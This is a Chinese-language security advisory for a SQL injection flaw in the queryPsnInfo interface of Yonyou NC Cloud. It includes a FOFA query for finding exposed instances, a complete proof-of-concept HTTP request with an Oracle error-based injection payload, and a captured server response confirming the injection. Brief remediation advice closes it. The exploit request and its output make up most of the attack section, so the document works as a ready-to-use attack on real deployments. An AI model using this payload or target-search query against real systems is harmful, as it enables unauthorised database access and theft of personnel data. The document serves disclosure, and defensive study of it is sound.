

用友NC Cloud queryPsnInfo SQL注入漏洞

漏洞描述

用友NC Cloud queryPsnInfo 接口处存在SQL注入漏洞，未授权的攻击者可通过此漏洞获取数据库权限，从而盗取用户数据，造成用户信息泄露。

影响版本

用友-NC-Cloud

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	高
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app="用友-NC-Cloud"

POC/EXP：

```
GET /ncchr/pm/obj/queryPsnInfo?
staffid=1%27+AND+1754%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%
%28106%29%7C%7CCHR%28122%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%7C%7C%
28SELECT+%28CASE+WHEN+%281754%3D1754%29+THEN+1+ELSE+0+END%29+FROM+DUAL%29
%7C%7CCHR%28113%29%7C%7CCHR%28112%29%7C%7CCHR%28107%29%7C%7CCHR%28107%
29%7C%7CCHR%28113%29%29--+Nzkh HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko)
Chrome/41.0.887.0 Safari/532.1
Accesstokennc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiI0F5qVK-
ZZEgu3WjIANK2JXwF49K5cBruYmNiOxltOQ
Accept: text/html, image/gif, image/jpeg, *; q=.2, /; q=.2
Connection: close
```

原始 HTTP 请求	原始 HTTP 响应
<pre>1 GET /ncchr/pm/obj/queryPsnInfo?staffid=1%27+AND+1754%3DUTL_INADDR. GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28122%29%7 C%7CCHR%28118%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN +%281754%3D1754%29+THEN+1+ELSE+0+END%29+FROM +DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28112%29%7C%7CCHR%28107%29%7C%7C HR%28107%29%7C%7CCHR%28113%29%29--+Nzkh HTTP/1.1 2 Host: c 3 User-Agent: Mozilla/5.0 (Windows NT 6.2; AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1 4 Accesstokenccc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJ1c2VyYWQiOiI1In0.f5qVK-ZZEgu3WjlzIANK2JXwF49K5cBruVMnIOxItOQ 5 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 6 Connection: close</pre>	<pre>1 HTTP/1.1 400 2 Access-Control-Allow-Origin: * 3 Access-Control-Allow-Methods: * 4 Content-Type: application/json 5 Date: Sun, 04-Aug-2024 03:28:46 GMT 6 Connection: close 7 Server: server 8 Content-Length: 246 9 10 {"message": "ORA-29257: 未知的主机 qjzvtqpkq \nORA-06512: 在 \nSYS. UTL_INADDR", line 19 \nORA-06512: 在 \nSYS.UTL_INADDR", line 40 \nORA-06512: 在 line 1 \n", "params": [], "class": "com.yonyou.hrcloud. adder.exception.AdderBusinessException"}</pre>

修复方案

- 1. 关闭互联网暴露面或接口设置访问权限
升级至安全版本